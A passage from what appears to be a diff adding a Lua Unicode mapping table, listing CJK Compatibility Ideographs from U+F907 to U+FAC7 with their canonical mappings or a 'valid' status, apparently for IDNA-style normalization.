+ [0xF980] = 0x5442, -- CJK COMPATIBILITY IDEOGRAPH-F980
+ [0xF981] = 0x5973, -- CJK COMPATIBILITY IDEOGRAPH-F981
+ [0xF982] = 0x5EEC, -- CJK COMPATIBILITY IDEOGRAPH-F982
+ [0xF983] = 0x65C5, -- CJK COMPATIBILITY IDEOGRAPH-F983
+ [0xF984] = 0x6FFE, -- CJK COMPATIBILITY IDEOGRAPH-F984
+ [0xF985] = 0x792A, -- CJK COMPATIBILITY IDEOGRAPH-F985
+ [0xF986] = 0x95AD, -- CJK COMPATIBILITY IDEOGRAPH-F986
+ [0xF987] = 0x9A6A, -- CJK COMPATIBILITY IDEOGRAPH-F987
+ [0xF988] = 0x9E97, -- CJK COMPATIBILITY IDEOGRAPH-F988
+ [0xF989] = 0x9ECE, -- CJK COMPATIBILITY IDEOGRAPH-F989
+ [0xF98A] = 0x529B, -- CJK COMPATIBILITY IDEOGRAPH-F98A
+ [0xF98B] = 0x66C6, -- CJK COMPATIBILITY IDEOGRAPH-F98B
+ [0xF98C] = 0x6B77, -- CJK COMPATIBILITY IDEOGRAPH-F98C
+ [0xF98D] = 0x8F62, -- CJK COMPATIBILITY IDEOGRAPH-F98D
+ [0xF98E] = 0x5E74, -- CJK COMPATIBILITY IDEOGRAPH-F98E
+ [0xF98F] = 0x6190, -- CJK COMPATIBILITY IDEOGRAPH-F98F
+ [0xF990] = 0x6200, -- CJK COMPATIBILITY IDEOGRAPH-F990
+ [0xF991] = 0x649A, -- CJK COMPATIBILITY IDEOGRAPH-F991
+ [0xF992] = 0x6F23, -- CJK COMPATIBILITY IDEOGRAPH-F992
+ [0xF993] = 0x7149, -- CJK COMPATIBILITY IDEOGRAPH-F993
+ [0xF994] = 0x7489, -- CJK COMPATIBILITY IDEOGRAPH-F994
+ [0xF995] = 0x79CA, -- CJK COMPATIBILITY IDEOGRAPH-F995
+ [0xF996] = 0x7DF4, -- CJK COMPATIBILITY IDEOGRAPH-F996
+ [0xF997] = 0x806F, -- CJK COMPATIBILITY IDEOGRAPH-F997
+ [0xF998] = 0x8F26, -- CJK COMPATIBILITY IDEOGRAPH-F998
+ [0xF999] = 0x84EE, -- CJK COMPATIBILITY IDEOGRAPH-F999
+ [0xF99A] = 0x9023, -- CJK COMPATIBILITY IDEOGRAPH-F99A
+ [0xF99B] = 0x934A, -- CJK COMPATIBILITY IDEOGRAPH-F99B
+ [0xF99C] = 0x5217, -- CJK COMPATIBILITY IDEOGRAPH-F99C
+ [0xF99D] = 0x52A3, -- CJK COMPATIBILITY IDEOGRAPH-F99D
+ [0xF99E] = 0x54BD, -- CJK COMPATIBILITY IDEOGRAPH-F99E
+ [0xF99F] = 0x70C8, -- CJK COMPATIBILITY IDEOGRAPH-F99F
+ [0xF9A0] = 0x88C2, -- CJK COMPATIBILITY IDEOGRAPH-F9A0
+ [0xF9A1] = 0x8AAA, -- CJK COMPATIBILITY IDEOGRAPH-F9A1
+ [0xF9A2] = 0x5EC9, -- CJK COMPATIBILITY IDEOGRAPH-F9A2
+ [0xF9A3] = 0x5FF5, -- CJK COMPATIBILITY IDEOGRAPH-F9A3
+ [0xF9A4] = 0x637B, -- CJK COMPATIBILITY IDEOGRAPH-F9A4
+ [0xF9A5] = 0x6BAE, -- CJK COMPATIBILITY IDEOGRAPH-F9A5
+ [0xF9A6] = 0x7C3E, -- CJK COMPATIBILITY IDEOGRAPH-F9A6
+ [0xF9A7] = 0x7375, -- CJK COMPATIBILITY IDEOGRAPH-F9A7
+ [0xF9A8] = 0x4EE4, -- CJK COMPATIBILITY IDEOGRAPH-F9A8
+ [0xF9A9] = 0x56F9, -- CJK COMPATIBILITY IDEOGRAPH-F9A9
+ [0xF9AA] = 0x5BE7, -- CJK COMPATIBILITY IDEOGRAPH-F9AA
+ [0xF9AB] = 0x5DBA, -- CJK COMPATIBILITY IDEOGRAPH-F9AB
+ [0xF9AC] = 0x601C, -- CJK COMPATIBILITY IDEOGRAPH-F9AC
+ [0xF9AD] = 0x73B2, -- CJK COMPATIBILITY IDEOGRAPH-F9AD
+ [0xF9AE] = 0x7469, -- CJK COMPATIBILITY IDEOGRAPH-F9AE
+ [0xF9AF] = 0x7F9A, -- CJK COMPATIBILITY IDEOGRAPH-F9AF
+ [0xF9B0] = 0x8046, -- CJK COMPATIBILITY IDEOGRAPH-F9B0
+ [0xF9B1] = 0x9234, -- CJK COMPATIBILITY IDEOGRAPH-F9B1
+ [0xF9B2] = 0x96F6, -- CJK COMPATIBILITY IDEOGRAPH-F9B2
+ [0xF9B3] = 0x9748, -- CJK COMPATIBILITY IDEOGRAPH-F9B3
+ [0xF9B4] = 0x9818, -- CJK COMPATIBILITY IDEOGRAPH-F9B4
+ [0xF9B5] = 0x4F8B, -- CJK COMPATIBILITY IDEOGRAPH-F9B5
+ [0xF9B6] = 0x79AE, -- CJK COMPATIBILITY IDEOGRAPH-F9B6
+ [0xF9B7] = 0x91B4, -- CJK COMPATIBILITY IDEOGRAPH-F9B7
+ [0xF9B8] = 0x96B8, -- CJK COMPATIBILITY IDEOGRAPH-F9B8
+ [0xF9B9] = 0x60E1, -- CJK COMPATIBILITY IDEOGRAPH-F9B9
+ [0xF9BA] = 0x4E86, -- CJK COMPATIBILITY IDEOGRAPH-F9BA
+ [0xF9BB] = 0x50DA, -- CJK COMPATIBILITY IDEOGRAPH-F9BB
+ [0xF9BC] = 0x5BEE, -- CJK COMPATIBILITY IDEOGRAPH-F9BC
+ [0xF9BD] = 0x5C3F, -- CJK COMPATIBILITY IDEOGRAPH-F9BD
+ [0xF9BE] = 0x6599, -- CJK COMPATIBILITY IDEOGRAPH-F9BE
+ [0xF9BF] = 0x6A02, -- CJK COMPATIBILITY IDEOGRAPH-F9BF
+ [0xF9C0] = 0x71CE, -- CJK COMPATIBILITY IDEOGRAPH-F9C0
+ [0xF9C1] = 0x7642, -- CJK COMPATIBILITY IDEOGRAPH-F9C1
+ [0xF9C2] = 0x84FC, -- CJK COMPATIBILITY IDEOGRAPH-F9C2
+ [0xF9C3] = 0x907C, -- CJK COMPATIBILITY IDEOGRAPH-F9C3
+ [0xF9C4] = 0x9F8D, -- CJK COMPATIBILITY IDEOGRAPH-F9C4
+ [0xF9C5] = 0x6688, -- CJK COMPATIBILITY IDEOGRAPH-F9C5
+ [0xF9C6] = 0x962E, -- CJK COMPATIBILITY IDEOGRAPH-F9C6
+ [0xF9C7] = 0x5289, -- CJK COMPATIBILITY IDEOGRAPH-F9C7
+ [0xF9C8] = 0x677B, -- CJK COMPATIBILITY IDEOGRAPH-F9C8
+ [0xF9C9] = 0x67F3, -- CJK COMPATIBILITY IDEOGRAPH-F9C9
+ [0xF9CA] = 0x6D41, -- CJK COMPATIBILITY IDEOGRAPH-F9CA
+ [0xF9CB] = 0x6E9C, -- CJK COMPATIBILITY IDEOGRAPH-F9CB
+ [0xF9CC] = 0x7409, -- CJK COMPATIBILITY IDEOGRAPH-F9CC
+ [0xF9CD] = 0x7559, -- CJK COMPATIBILITY IDEOGRAPH-F9CD
+ [0xF9CE] = 0x786B, -- CJK COMPATIBILITY IDEOGRAPH-F9CE
+ [0xF9CF] = 0x7D10, -- CJK COMPATIBILITY IDEOGRAPH-F9CF
+ [0xF9D0] = 0x985E, -- CJK COMPATIBILITY IDEOGRAPH-F9D0
+ [0xF9D1] = 0x516D, -- CJK COMPATIBILITY IDEOGRAPH-F9D1
+ [0xF9D2] = 0x622E, -- CJK COMPATIBILITY IDEOGRAPH-F9D2
+ [0xF9D3] = 0x9678, -- CJK COMPATIBILITY IDEOGRAPH-F9D3
+ [0xF9D4] = 0x502B, -- CJK COMPATIBILITY IDEOGRAPH-F9D4
+ [0xF9D5] = 0x5D19, -- CJK COMPATIBILITY IDEOGRAPH-F9D5
+ [0xF9D6] = 0x6DEA, -- CJK COMPATIBILITY IDEOGRAPH-F9D6
+ [0xF9D7] = 0x8F2A, -- CJK COMPATIBILITY IDEOGRAPH-F9D7
+ [0xF9D8] = 0x5F8B, -- CJK COMPATIBILITY IDEOGRAPH-F9D8
+ [0xF9D9] = 0x6144, -- CJK COMPATIBILITY IDEOGRAPH-F9D9
+ [0xF9DA] = 0x6817, -- CJK COMPATIBILITY IDEOGRAPH-F9DA
+ [0xF9DB] = 0x7387, -- CJK COMPATIBILITY IDEOGRAPH-F9DB
+ [0xF9DC] = 0x9686, -- CJK COMPATIBILITY IDEOGRAPH-F9DC
+ [0xF9DD] = 0x5229, -- CJK COMPATIBILITY IDEOGRAPH-F9DD
+ [0xF9DE] = 0x540F, -- CJK COMPATIBILITY IDEOGRAPH-F9DE
+ [0xF9DF] = 0x5C65, -- CJK COMPATIBILITY IDEOGRAPH-F9DF
+ [0xF9E0] = 0x6613, -- CJK COMPATIBILITY IDEOGRAPH-F9E0
+ [0xF9E1] = 0x674E, -- CJK COMPATIBILITY IDEOGRAPH-F9E1
+ [0xF9E2] = 0x68A8, -- CJK COMPATIBILITY IDEOGRAPH-F9E2
+ [0xF9E3] = 0x6CE5, -- CJK COMPATIBILITY IDEOGRAPH-F9E3
+ [0xF9E4] = 0x7406, -- CJK COMPATIBILITY IDEOGRAPH-F9E4
+ [0xF9E5] = 0x75E2, -- CJK COMPATIBILITY IDEOGRAPH-F9E5
+ [0xF9E6] = 0x7F79, -- CJK COMPATIBILITY IDEOGRAPH-F9E6
+ [0xF9E7] = 0x88CF, -- CJK COMPATIBILITY IDEOGRAPH-F9E7
+ [0xF9E8] = 0x88E1, -- CJK COMPATIBILITY IDEOGRAPH-F9E8
+ [0xF9E9] = 0x91CC, -- CJK COMPATIBILITY IDEOGRAPH-F9E9
+ [0xF9EA] = 0x96E2, -- CJK COMPATIBILITY IDEOGRAPH-F9EA
+ [0xF9EB] = 0x533F, -- CJK COMPATIBILITY IDEOGRAPH-F9EB
+ [0xF9EC] = 0x6EBA, -- CJK COMPATIBILITY IDEOGRAPH-F9EC
+ [0xF9ED] = 0x541D, -- CJK COMPATIBILITY IDEOGRAPH-F9ED
+ [0xF9EE] = 0x71D0, -- CJK COMPATIBILITY IDEOGRAPH-F9EE
+ [0xF9EF] = 0x7498, -- CJK COMPATIBILITY IDEOGRAPH-F9EF
+ [0xF9F0] = 0x85FA, -- CJK COMPATIBILITY IDEOGRAPH-F9F0
+ [0xF9F1] = 0x96A3, -- CJK COMPATIBILITY IDEOGRAPH-F9F1
+ [0xF9F2] = 0x9C57, -- CJK COMPATIBILITY IDEOGRAPH-F9F2
+ [0xF9F3] = 0x9E9F, -- CJK COMPATIBILITY IDEOGRAPH-F9F3
+ [0xF9F4] = 0x6797, -- CJK COMPATIBILITY IDEOGRAPH-F9F4
+ [0xF9F5] = 0x6DCB, -- CJK COMPATIBILITY IDEOGRAPH-F9F5
+ [0xF9F6] = 0x81E8, -- CJK COMPATIBILITY IDEOGRAPH-F9F6
+ [0xF9F7] = 0x7ACB, -- CJK COMPATIBILITY IDEOGRAPH-F9F7
+ [0xF9F8] = 0x7B20, -- CJK COMPATIBILITY IDEOGRAPH-F9F8
+ [0xF9F9] = 0x7C92, -- CJK COMPATIBILITY IDEOGRAPH-F9F9
+ [0xF9FA] = 0x72C0, -- CJK COMPATIBILITY IDEOGRAPH-F9FA
+ [0xF9FB] = 0x7099, -- CJK COMPATIBILITY IDEOGRAPH-F9FB
+ [0xF9FC] = 0x8B58, -- CJK COMPATIBILITY IDEOGRAPH-F9FC
+ [0xF9FD] = 0x4EC0, -- CJK COMPATIBILITY IDEOGRAPH-F9FD
+ [0xF9FE] = 0x8336, -- CJK COMPATIBILITY IDEOGRAPH-F9FE
+ [0xF9FF] = 0x523A, -- CJK COMPATIBILITY IDEOGRAPH-F9FF
+ [0xFA00] = 0x5207, -- CJK COMPATIBILITY IDEOGRAPH-FA00
+ [0xFA01] = 0x5EA6, -- CJK COMPATIBILITY IDEOGRAPH-FA01
+ [0xFA02] = 0x62D3, -- CJK COMPATIBILITY IDEOGRAPH-FA02
+ [0xFA03] = 0x7CD6, -- CJK COMPATIBILITY IDEOGRAPH-FA03
+ [0xFA04] = 0x5B85, -- CJK COMPATIBILITY IDEOGRAPH-FA04
+ [0xFA05] = 0x6D1E, -- CJK COMPATIBILITY IDEOGRAPH-FA05
+ [0xFA06] = 0x66B4, -- CJK COMPATIBILITY IDEOGRAPH-FA06
+ [0xFA07] = 0x8F3B, -- CJK COMPATIBILITY IDEOGRAPH-FA07
+ [0xFA08] = 0x884C, -- CJK COMPATIBILITY IDEOGRAPH-FA08
+ [0xFA09] = 0x964D, -- CJK COMPATIBILITY IDEOGRAPH-FA09
+ [0xFA0A] = 0x898B, -- CJK COMPATIBILITY IDEOGRAPH-FA0A
+ [0xFA0B] = 0x5ED3, -- CJK COMPATIBILITY IDEOGRAPH-FA0B
+ [0xFA0C] = 0x5140, -- CJK COMPATIBILITY IDEOGRAPH-FA0C
+ [0xFA0D] = 0x55C0, -- CJK COMPATIBILITY IDEOGRAPH-FA0D
+ -- CJK COMPATIBILITY IDEOGRAPH-F907..CJK COMPATIBILITY IDEOGRAPH-F908
+ [0xF907] = 0x9F9C,
+ [0xF908] = 0x9F9C,
+ [0xFA10] = 0x585A, -- CJK COMPATIBILITY IDEOGRAPH-FA10
+ [0xFA11] = {status="valid"}, -- CJK COMPATIBILITY IDEOGRAPH-FA11
+ [0xFA12] = 0x6674, -- CJK COMPATIBILITY IDEOGRAPH-FA12
+ -- CJK COMPATIBILITY IDEOGRAPH-FA0E..CJK COMPATIBILITY IDEOGRAPH-FA0F
+ [0xFA0E] = {status="valid"},
+ [0xFA0F] = {status="valid"},
+ [0xFA15] = 0x51DE, -- CJK COMPATIBILITY IDEOGRAPH-FA15
+ [0xFA16] = 0x732A, -- CJK COMPATIBILITY IDEOGRAPH-FA16
+ [0xFA17] = 0x76CA, -- CJK COMPATIBILITY IDEOGRAPH-FA17
+ [0xFA18] = 0x793C, -- CJK COMPATIBILITY IDEOGRAPH-FA18
+ [0xFA19] = 0x795E, -- CJK COMPATIBILITY IDEOGRAPH-FA19
+ [0xFA1A] = 0x7965, -- CJK COMPATIBILITY IDEOGRAPH-FA1A
+ [0xFA1B] = 0x798F, -- CJK COMPATIBILITY IDEOGRAPH-FA1B
+ [0xFA1C] = 0x9756, -- CJK COMPATIBILITY IDEOGRAPH-FA1C
+ [0xFA1D] = 0x7CBE, -- CJK COMPATIBILITY IDEOGRAPH-FA1D
+ [0xFA1E] = 0x7FBD, -- CJK COMPATIBILITY IDEOGRAPH-FA1E
+ [0xFA1F] = {status="valid"}, -- CJK COMPATIBILITY IDEOGRAPH-FA1F
+ [0xFA20] = 0x8612, -- CJK COMPATIBILITY IDEOGRAPH-FA20
+ [0xFA21] = {status="valid"}, -- CJK COMPATIBILITY IDEOGRAPH-FA21
+ [0xFA22] = 0x8AF8, -- CJK COMPATIBILITY IDEOGRAPH-FA22
+ -- CJK COMPATIBILITY IDEOGRAPH-FA13..CJK COMPATIBILITY IDEOGRAPH-FA14
+ [0xFA13] = {status="valid"},
+ [0xFA14] = {status="valid"},
+ [0xFA25] = 0x9038, -- CJK COMPATIBILITY IDEOGRAPH-FA25
+ [0xFA26] = 0x90FD, -- CJK COMPATIBILITY IDEOGRAPH-FA26
+ -- CJK COMPATIBILITY IDEOGRAPH-FA23..CJK COMPATIBILITY IDEOGRAPH-FA24
+ [0xFA23] = {status="valid"},
+ [0xFA24] = {status="valid"},
+ [0xFA2A] = 0x98EF, -- CJK COMPATIBILITY IDEOGRAPH-FA2A
+ [0xFA2B] = 0x98FC, -- CJK COMPATIBILITY IDEOGRAPH-FA2B
+ [0xFA2C] = 0x9928, -- CJK COMPATIBILITY IDEOGRAPH-FA2C
+ [0xFA2D] = 0x9DB4, -- CJK COMPATIBILITY IDEOGRAPH-FA2D
+ [0xFA2E] = 0x90DE, -- CJK COMPATIBILITY IDEOGRAPH-FA2E
+ [0xFA2F] = 0x96B7, -- CJK COMPATIBILITY IDEOGRAPH-FA2F
+ [0xFA30] = 0x4FAE, -- CJK COMPATIBILITY IDEOGRAPH-FA30
+ [0xFA31] = 0x50E7, -- CJK COMPATIBILITY IDEOGRAPH-FA31
+ [0xFA32] = 0x514D, -- CJK COMPATIBILITY IDEOGRAPH-FA32
+ [0xFA33] = 0x52C9, -- CJK COMPATIBILITY IDEOGRAPH-FA33
+ [0xFA34] = 0x52E4, -- CJK COMPATIBILITY IDEOGRAPH-FA34
+ [0xFA35] = 0x5351, -- CJK COMPATIBILITY IDEOGRAPH-FA35
+ [0xFA36] = 0x559D, -- CJK COMPATIBILITY IDEOGRAPH-FA36
+ [0xFA37] = 0x5606, -- CJK COMPATIBILITY IDEOGRAPH-FA37
+ [0xFA38] = 0x5668, -- CJK COMPATIBILITY IDEOGRAPH-FA38
+ [0xFA39] = 0x5840, -- CJK COMPATIBILITY IDEOGRAPH-FA39
+ [0xFA3A] = 0x58A8, -- CJK COMPATIBILITY IDEOGRAPH-FA3A
+ [0xFA3B] = 0x5C64, -- CJK COMPATIBILITY IDEOGRAPH-FA3B
+ [0xFA3C] = 0x5C6E, -- CJK COMPATIBILITY IDEOGRAPH-FA3C
+ [0xFA3D] = 0x6094, -- CJK COMPATIBILITY IDEOGRAPH-FA3D
+ [0xFA3E] = 0x6168, -- CJK COMPATIBILITY IDEOGRAPH-FA3E
+ [0xFA3F] = 0x618E, -- CJK COMPATIBILITY IDEOGRAPH-FA3F
+ [0xFA40] = 0x61F2, -- CJK COMPATIBILITY IDEOGRAPH-FA40
+ [0xFA41] = 0x654F, -- CJK COMPATIBILITY IDEOGRAPH-FA41
+ [0xFA42] = 0x65E2, -- CJK COMPATIBILITY IDEOGRAPH-FA42
+ [0xFA43] = 0x6691, -- CJK COMPATIBILITY IDEOGRAPH-FA43
+ [0xFA44] = 0x6885, -- CJK COMPATIBILITY IDEOGRAPH-FA44
+ [0xFA45] = 0x6D77, -- CJK COMPATIBILITY IDEOGRAPH-FA45
+ [0xFA46] = 0x6E1A, -- CJK COMPATIBILITY IDEOGRAPH-FA46
+ [0xFA47] = 0x6F22, -- CJK COMPATIBILITY IDEOGRAPH-FA47
+ [0xFA48] = 0x716E, -- CJK COMPATIBILITY IDEOGRAPH-FA48
+ [0xFA49] = 0x722B, -- CJK COMPATIBILITY IDEOGRAPH-FA49
+ [0xFA4A] = 0x7422, -- CJK COMPATIBILITY IDEOGRAPH-FA4A
+ [0xFA4B] = 0x7891, -- CJK COMPATIBILITY IDEOGRAPH-FA4B
+ [0xFA4C] = 0x793E, -- CJK COMPATIBILITY IDEOGRAPH-FA4C
+ [0xFA4D] = 0x7949, -- CJK COMPATIBILITY IDEOGRAPH-FA4D
+ [0xFA4E] = 0x7948, -- CJK COMPATIBILITY IDEOGRAPH-FA4E
+ [0xFA4F] = 0x7950, -- CJK COMPATIBILITY IDEOGRAPH-FA4F
+ [0xFA50] = 0x7956, -- CJK COMPATIBILITY IDEOGRAPH-FA50
+ [0xFA51] = 0x795D, -- CJK COMPATIBILITY IDEOGRAPH-FA51
+ [0xFA52] = 0x798D, -- CJK COMPATIBILITY IDEOGRAPH-FA52
+ [0xFA53] = 0x798E, -- CJK COMPATIBILITY IDEOGRAPH-FA53
+ [0xFA54] = 0x7A40, -- CJK COMPATIBILITY IDEOGRAPH-FA54
+ [0xFA55] = 0x7A81, -- CJK COMPATIBILITY IDEOGRAPH-FA55
+ [0xFA56] = 0x7BC0, -- CJK COMPATIBILITY IDEOGRAPH-FA56
+ [0xFA57] = 0x7DF4, -- CJK COMPATIBILITY IDEOGRAPH-FA57
+ [0xFA58] = 0x7E09, -- CJK COMPATIBILITY IDEOGRAPH-FA58
+ [0xFA59] = 0x7E41, -- CJK COMPATIBILITY IDEOGRAPH-FA59
+ [0xFA5A] = 0x7F72, -- CJK COMPATIBILITY IDEOGRAPH-FA5A
+ [0xFA5B] = 0x8005, -- CJK COMPATIBILITY IDEOGRAPH-FA5B
+ [0xFA5C] = 0x81ED, -- CJK COMPATIBILITY IDEOGRAPH-FA5C
+ -- CJK COMPATIBILITY IDEOGRAPH-FA27..CJK COMPATIBILITY IDEOGRAPH-FA29
+ [0xFA27] = {status="valid"},
+ [0xFA28] = {status="valid"},
+ [0xFA29] = {status="valid"},
+ [0xFA5F] = 0x8457, -- CJK COMPATIBILITY IDEOGRAPH-FA5F
+ [0xFA60] = 0x8910, -- CJK COMPATIBILITY IDEOGRAPH-FA60
+ [0xFA61] = 0x8996, -- CJK COMPATIBILITY IDEOGRAPH-FA61
+ [0xFA62] = 0x8B01, -- CJK COMPATIBILITY IDEOGRAPH-FA62
+ [0xFA63] = 0x8B39, -- CJK COMPATIBILITY IDEOGRAPH-FA63
+ [0xFA64] = 0x8CD3, -- CJK COMPATIBILITY IDEOGRAPH-FA64
+ [0xFA65] = 0x8D08, -- CJK COMPATIBILITY IDEOGRAPH-FA65
+ [0xFA66] = 0x8FB6, -- CJK COMPATIBILITY IDEOGRAPH-FA66
+ [0xFA67] = 0x9038, -- CJK COMPATIBILITY IDEOGRAPH-FA67
+ [0xFA68] = 0x96E3, -- CJK COMPATIBILITY IDEOGRAPH-FA68
+ [0xFA69] = 0x97FF, -- CJK COMPATIBILITY IDEOGRAPH-FA69
+ [0xFA6A] = 0x983B, -- CJK COMPATIBILITY IDEOGRAPH-FA6A
+ [0xFA6B] = 0x6075, -- CJK COMPATIBILITY IDEOGRAPH-FA6B
+ [0xFA6C] = 0x242EE, -- CJK COMPATIBILITY IDEOGRAPH-FA6C
+ [0xFA6D] = 0x8218, -- CJK COMPATIBILITY IDEOGRAPH-FA6D
+ -- CJK COMPATIBILITY IDEOGRAPH-FA5D..CJK COMPATIBILITY IDEOGRAPH-FA5E
+ [0xFA5D] = 0x8279,
+ [0xFA5E] = 0x8279,
+ [0xFA70] = 0x4E26, -- CJK COMPATIBILITY IDEOGRAPH-FA70
+ [0xFA71] = 0x51B5, -- CJK COMPATIBILITY IDEOGRAPH-FA71
+ [0xFA72] = 0x5168, -- CJK COMPATIBILITY IDEOGRAPH-FA72
+ [0xFA73] = 0x4F80, -- CJK COMPATIBILITY IDEOGRAPH-FA73
+ [0xFA74] = 0x5145, -- CJK COMPATIBILITY IDEOGRAPH-FA74
+ [0xFA75] = 0x5180, -- CJK COMPATIBILITY IDEOGRAPH-FA75
+ [0xFA76] = 0x52C7, -- CJK COMPATIBILITY IDEOGRAPH-FA76
+ [0xFA77] = 0x52FA, -- CJK COMPATIBILITY IDEOGRAPH-FA77
+ [0xFA78] = 0x559D, -- CJK COMPATIBILITY IDEOGRAPH-FA78
+ [0xFA79] = 0x5555, -- CJK COMPATIBILITY IDEOGRAPH-FA79
+ [0xFA7A] = 0x5599, -- CJK COMPATIBILITY IDEOGRAPH-FA7A
+ [0xFA7B] = 0x55E2, -- CJK COMPATIBILITY IDEOGRAPH-FA7B
+ [0xFA7C] = 0x585A, -- CJK COMPATIBILITY IDEOGRAPH-FA7C
+ [0xFA7D] = 0x58B3, -- CJK COMPATIBILITY IDEOGRAPH-FA7D
+ [0xFA7E] = 0x5944, -- CJK COMPATIBILITY IDEOGRAPH-FA7E
+ [0xFA7F] = 0x5954, -- CJK COMPATIBILITY IDEOGRAPH-FA7F
+ [0xFA80] = 0x5A62, -- CJK COMPATIBILITY IDEOGRAPH-FA80
+ [0xFA81] = 0x5B28, -- CJK COMPATIBILITY IDEOGRAPH-FA81
+ [0xFA82] = 0x5ED2, -- CJK COMPATIBILITY IDEOGRAPH-FA82
+ [0xFA83] = 0x5ED9, -- CJK COMPATIBILITY IDEOGRAPH-FA83
+ [0xFA84] = 0x5F69, -- CJK COMPATIBILITY IDEOGRAPH-FA84
+ [0xFA85] = 0x5FAD, -- CJK COMPATIBILITY IDEOGRAPH-FA85
+ [0xFA86] = 0x60D8, -- CJK COMPATIBILITY IDEOGRAPH-FA86
+ [0xFA87] = 0x614E, -- CJK COMPATIBILITY IDEOGRAPH-FA87
+ [0xFA88] = 0x6108, -- CJK COMPATIBILITY IDEOGRAPH-FA88
+ [0xFA89] = 0x618E, -- CJK COMPATIBILITY IDEOGRAPH-FA89
+ [0xFA8A] = 0x6160, -- CJK COMPATIBILITY IDEOGRAPH-FA8A
+ [0xFA8B] = 0x61F2, -- CJK COMPATIBILITY IDEOGRAPH-FA8B
+ [0xFA8C] = 0x6234, -- CJK COMPATIBILITY IDEOGRAPH-FA8C
+ [0xFA8D] = 0x63C4, -- CJK COMPATIBILITY IDEOGRAPH-FA8D
+ [0xFA8E] = 0x641C, -- CJK COMPATIBILITY IDEOGRAPH-FA8E
+ [0xFA8F] = 0x6452, -- CJK COMPATIBILITY IDEOGRAPH-FA8F
+ [0xFA90] = 0x6556, -- CJK COMPATIBILITY IDEOGRAPH-FA90
+ [0xFA91] = 0x6674, -- CJK COMPATIBILITY IDEOGRAPH-FA91
+ [0xFA92] = 0x6717, -- CJK COMPATIBILITY IDEOGRAPH-FA92
+ [0xFA93] = 0x671B, -- CJK COMPATIBILITY IDEOGRAPH-FA93
+ [0xFA94] = 0x6756, -- CJK COMPATIBILITY IDEOGRAPH-FA94
+ [0xFA95] = 0x6B79, -- CJK COMPATIBILITY IDEOGRAPH-FA95
+ [0xFA96] = 0x6BBA, -- CJK COMPATIBILITY IDEOGRAPH-FA96
+ [0xFA97] = 0x6D41, -- CJK COMPATIBILITY IDEOGRAPH-FA97
+ [0xFA98] = 0x6EDB, -- CJK COMPATIBILITY IDEOGRAPH-FA98
+ [0xFA99] = 0x6ECB, -- CJK COMPATIBILITY IDEOGRAPH-FA99
+ [0xFA9A] = 0x6F22, -- CJK COMPATIBILITY IDEOGRAPH-FA9A
+ [0xFA9B] = 0x701E, -- CJK COMPATIBILITY IDEOGRAPH-FA9B
+ [0xFA9C] = 0x716E, -- CJK COMPATIBILITY IDEOGRAPH-FA9C
+ [0xFA9D] = 0x77A7, -- CJK COMPATIBILITY IDEOGRAPH-FA9D
+ [0xFA9E] = 0x7235, -- CJK COMPATIBILITY IDEOGRAPH-FA9E
+ [0xFA9F] = 0x72AF, -- CJK COMPATIBILITY IDEOGRAPH-FA9F
+ [0xFAA0] = 0x732A, -- CJK COMPATIBILITY IDEOGRAPH-FAA0
+ [0xFAA1] = 0x7471, -- CJK COMPATIBILITY IDEOGRAPH-FAA1
+ [0xFAA2] = 0x7506, -- CJK COMPATIBILITY IDEOGRAPH-FAA2
+ [0xFAA3] = 0x753B, -- CJK COMPATIBILITY IDEOGRAPH-FAA3
+ [0xFAA4] = 0x761D, -- CJK COMPATIBILITY IDEOGRAPH-FAA4
+ [0xFAA5] = 0x761F, -- CJK COMPATIBILITY IDEOGRAPH-FAA5
+ [0xFAA6] = 0x76CA, -- CJK COMPATIBILITY IDEOGRAPH-FAA6
+ [0xFAA7] = 0x76DB, -- CJK COMPATIBILITY IDEOGRAPH-FAA7
+ [0xFAA8] = 0x76F4, -- CJK COMPATIBILITY IDEOGRAPH-FAA8
+ [0xFAA9] = 0x774A, -- CJK COMPATIBILITY IDEOGRAPH-FAA9
+ [0xFAAA] = 0x7740, -- CJK COMPATIBILITY IDEOGRAPH-FAAA
+ [0xFAAB] = 0x78CC, -- CJK COMPATIBILITY IDEOGRAPH-FAAB
+ [0xFAAC] = 0x7AB1, -- CJK COMPATIBILITY IDEOGRAPH-FAAC
+ [0xFAAD] = 0x7BC0, -- CJK COMPATIBILITY IDEOGRAPH-FAAD
+ [0xFAAE] = 0x7C7B, -- CJK COMPATIBILITY IDEOGRAPH-FAAE
+ [0xFAAF] = 0x7D5B, -- CJK COMPATIBILITY IDEOGRAPH-FAAF
+ [0xFAB0] = 0x7DF4, -- CJK COMPATIBILITY IDEOGRAPH-FAB0
+ [0xFAB1] = 0x7F3E, -- CJK COMPATIBILITY IDEOGRAPH-FAB1
+ [0xFAB2] = 0x8005, -- CJK COMPATIBILITY IDEOGRAPH-FAB2
+ [0xFAB3] = 0x8352, -- CJK COMPATIBILITY IDEOGRAPH-FAB3
+ [0xFAB4] = 0x83EF, -- CJK COMPATIBILITY IDEOGRAPH-FAB4
+ [0xFAB5] = 0x8779, -- CJK COMPATIBILITY IDEOGRAPH-FAB5
+ [0xFAB6] = 0x8941, -- CJK COMPATIBILITY IDEOGRAPH-FAB6
+ [0xFAB7] = 0x8986, -- CJK COMPATIBILITY IDEOGRAPH-FAB7
+ [0xFAB8] = 0x8996, -- CJK COMPATIBILITY IDEOGRAPH-FAB8
+ [0xFAB9] = 0x8ABF, -- CJK COMPATIBILITY IDEOGRAPH-FAB9
+ [0xFABA] = 0x8AF8, -- CJK COMPATIBILITY IDEOGRAPH-FABA
+ [0xFABB] = 0x8ACB, -- CJK COMPATIBILITY IDEOGRAPH-FABB
+ [0xFABC] = 0x8B01, -- CJK COMPATIBILITY IDEOGRAPH-FABC
+ [0xFABD] = 0x8AFE, -- CJK COMPATIBILITY IDEOGRAPH-FABD
+ [0xFABE] = 0x8AED, -- CJK COMPATIBILITY IDEOGRAPH-FABE
+ [0xFABF] = 0x8B39, -- CJK COMPATIBILITY IDEOGRAPH-FABF
+ [0xFAC0] = 0x8B8A, -- CJK COMPATIBILITY IDEOGRAPH-FAC0
+ [0xFAC1] = 0x8D08, -- CJK COMPATIBILITY IDEOGRAPH-FAC1
+ [0xFAC2] = 0x8F38, -- CJK COMPATIBILITY IDEOGRAPH-FAC2
+ [0xFAC3] = 0x9072, -- CJK COMPATIBILITY IDEOGRAPH-FAC3
+ [0xFAC4] = 0x9199, -- CJK COMPATIBILITY IDEOGRAPH-FAC4
+ [0xFAC5] = 0x9276, -- CJK COMPATIBILITY IDEOGRAPH-FAC5
+ [0xFAC6] = 0x967C, -- CJK COMPATIBILITY IDEOGRAPH-FAC6
+ [0xFAC7] = 0x96E3, -- CJK COMPATIBILITY IDEOGRAPH-FAC7
